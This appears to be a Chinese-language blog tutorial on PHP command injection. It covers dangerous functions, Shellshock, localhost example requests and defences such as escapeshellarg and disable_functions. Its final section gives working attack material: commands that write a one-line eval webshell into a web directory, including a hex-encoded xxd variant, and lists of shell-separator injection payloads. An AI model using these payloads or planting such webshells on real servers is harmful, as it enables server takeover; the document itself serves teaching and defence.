命令執行漏洞

L_lemo004發表於2020-10-20

命令執行漏洞

漏洞描述

命令執行漏洞是指伺服器沒有對執行的命令進行過濾,使用者可以隨意執行系統命令,命令執行漏洞屬於高危漏洞之一。

如PHP的命令執行漏洞主要是基於一些函式的引數過濾不足導致,可以執行命令的函式有system( )、exec( )、shell_exec( )、passthru( )、pcntl_execl( )、popen( )、proc_open( )等。當攻擊者可以控制這些函式中的引數時,就可以將惡意的系統命令拼接到正常命令中,從而造成命令執行攻擊。PHP執行命令是繼承WebServer使用者的許可權,這個使用者一般都有許可權向Web目錄寫檔案,可見該漏洞的危害性相當大。

漏洞危害

  • 繼承Web伺服器程式的許可權,去執行系統命令或讀寫檔案
  • 反彈shell
  • 控制整個網站,甚至控制整個伺服器

漏洞產生的原因

1.沒有對使用者輸入進行過濾或過濾不嚴

例如,沒有過濾&、&&、|、||等連線符

2.系統漏洞造成的命令執行

bash破殼漏洞(CVE-2014-6271),該漏洞可以構造環境變數的值來執行具有攻擊力的指令碼程式碼,會影響到bash互動的多種應用,如http、ssh和dhcp等。

3.呼叫的第三方元件存在程式碼執行漏洞

例如:

php(system()、shell_exec()、exec()、eval())

JAVA中的命令執行漏洞(struts2/ElasticsearchGroovy等)

ThinkPHP命令執行

常見危險函式

php程式碼相關

  • eval()
  • assert()
  • preg_replace
  • call_user_func()
  • call_user_func_array()
  • create_function
  • array_map()

系統命令執行相關

  • system()
  • passthru()
  • exec()
  • pcntl_exec()
  • shell_exec()
  • popen()
  • proc_open()
  • `(反單引號)
  • ob_start()

漏洞利用

漏洞利用_1

1f8f6184181648258eb76d951f1650ae.png點選新增圖片描述(最多60個字)

訪問:http://127.0.0.1/test.php?cmd=127.0.0.1;pwd

也就是執行了“pwd”命令

17172750819442179adc23c5214890ad.png點選新增圖片描述(最多60個字)

漏洞利用_2

7fd85ee6a8a6481fa63088b1d130488d.png點選新增圖片描述(最多60個字)

訪問:http://127.0.0.1/test.php?fun=system&par=whoami

其實就相當於執行了system(“whoami”)

6975636dcddc40e9b08fabbce240a7c9.png點選新增圖片描述(最多60個字)

漏洞利用_3

e55092f347b8470187fc55c4f32689cf.png點選新增圖片描述(最多60個字)

訪問:http://127.0.0.1/test.php?code=phpinfo();

ff4aa141cbe94292a3dfbe78c8fc215c.png點選新增圖片描述(最多60個字)

防範措施

  1. 在PHP下禁用高危系統函式

找到php.ini,查詢到disable_functions,新增禁用的函式名

  1. 引數的值儘量使用引號包括,並在拼接前呼叫addslashes進行轉義。

  2. 不執行外部的應用程式或命令

儘量使用自定義函式或函式庫實現外部應用程式或命令的功能。在執行system、eval等命令執行功能的函式前,要確認引數內容。

  1. 使用escapeshellarg函式處理相關引數

escapeshellarg函式會將使用者引起引數或命令結束的字元進行轉義,如單引號"’“會被轉義為”\’",雙引號“””會被轉義為""",分號";“會被轉義為”;",這樣escapeshellarg會將引數內容限制在一對單引號或雙引號裡面,轉義引數中包括的單引號或雙引號,使其無法對當前執行進行截斷,實現防範命令注入攻擊的目的。

  1. 使用safe_mode_exec_dir指定可執行的檔案路徑

將php.ini檔案中的safe_mode設定為On,然後將允許執行的檔案放入一個目錄,並使用safe_mode_exec_dir指定這個可執行的檔案路徑。這樣,在需要執行相應的外部程式時,程式必須在safe_mode_exec_dir指定的目錄中才會允許執行,否則執行將失敗。

概念:當應用需要呼叫一些外部程式去處理內容的情況下,就會用到一些執行系統命令的函式。如PHP中的system,exec,shell_exec等,當使用者可以控制命令執行函式中的引數時,將可注入惡意系統命令到正常命令中,造成命令執行攻擊。

漏洞成因:指令碼語言優點是簡潔,方便,但也伴隨著一些問題,如速度慢,無法解除系統底層,如果我們開發的應用需要一些除去web的特殊功能時,就需要呼叫一些外部程式。

修復防範

  • PHP內建的兩個函式可以有效防止命令執行:

    • 1. escapeshellarg() 將給字串增加一個單引號並且能引用或者轉碼任何已經存在的單引號,這樣以確保能夠直接將一個字串傳入 shell 函式,並且還是確保安全的。對於使用者輸入的部分引數就應該使用這個函式。資料參考:http://cn.php.net/manual/zh/function.escapeshellarg.php
    • 2.  escapeshellcmd() 對字串中可能會欺騙 shell 命令執行任意命令的字元進行轉義。 此函式保證使用者輸入的資料在傳送到 exec() 或 system() 函式,或者 執行操作符 之前進行轉義。資料參考:http://cn.php.net/manual/zh/function.escapeshellcmd.php
    • 3. php中禁止disable_functions(禁用一些危險函式)
    • 4. 引數值儘量使用引用號包裹,並在拼接前呼叫addslashes進行轉義
  • 黑名單:過濾特殊字元或替換字元

  • 白名單:只允許特殊輸入的型別/長度

命令執行利用及繞過姿勢

  • 寫入webshell

    • 利用命令注入寫一句話php webshell到web目錄涉及到一些特殊字元的轉義,假設需要寫入<?php eval($_POST[kang]); ?>

    • 方法如下:

    • WINDOWS:用^轉義<,即執行echo ^<?php eval($_POST[kang]); ?^> > web可寫目錄加檔案完整名字

    • inux下需要用\來轉義<,不過很多php都預設開啟gpc(魔術引號magic_quotes_gpc())。可以先用16進位制轉換一句話再用xxd命令把16進位制還原,命令如下:

    • echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可寫目錄加檔案完整名字

    • 後面命令注入也有時間盲注和sql注入很像

    • | 命令管道符

    • <>>> 檔案重定向符

    • 測試: 0 | dir c:

      • 程式碼只過濾了部分特殊字元,可以考慮用其他字元進行測試,這邊列舉一下Window/Linux可利用的特殊字元:

        • windows支援

          •  直接執行後面的語句      ping 127.0.0.1|whoami          
            
          •  ||    前面出錯執行後面的 ,前面為假       ping  2 || whoami 
            
          •  &   前面的語句為假則直接執行後面的,前面可真可假                       ping 127.0.0.1&whoami
            
          •  &&前面的語句為假則直接出錯,後面的也不執行,前面只能為真    ping 127.0.0.1&&whoami
            
        • Linux支援

          • ; 前面的執行完執行後面的 ping 127.0.0.1;whoami
          • | 管道符,顯示後面的執行結果 ping 127.0.0.1|whoami
          • 11 當前面的執行出錯時執行後面的 ping 1||whoami
          • & 前面的語句為假則直接執行後面的,前面可真可假 ping 127.0.0.1&whoami
          • &&前面的語句為假則直接出錯,後面的也不執行,前面只能為真 ping 127.0.0.1&&whoami

相關文章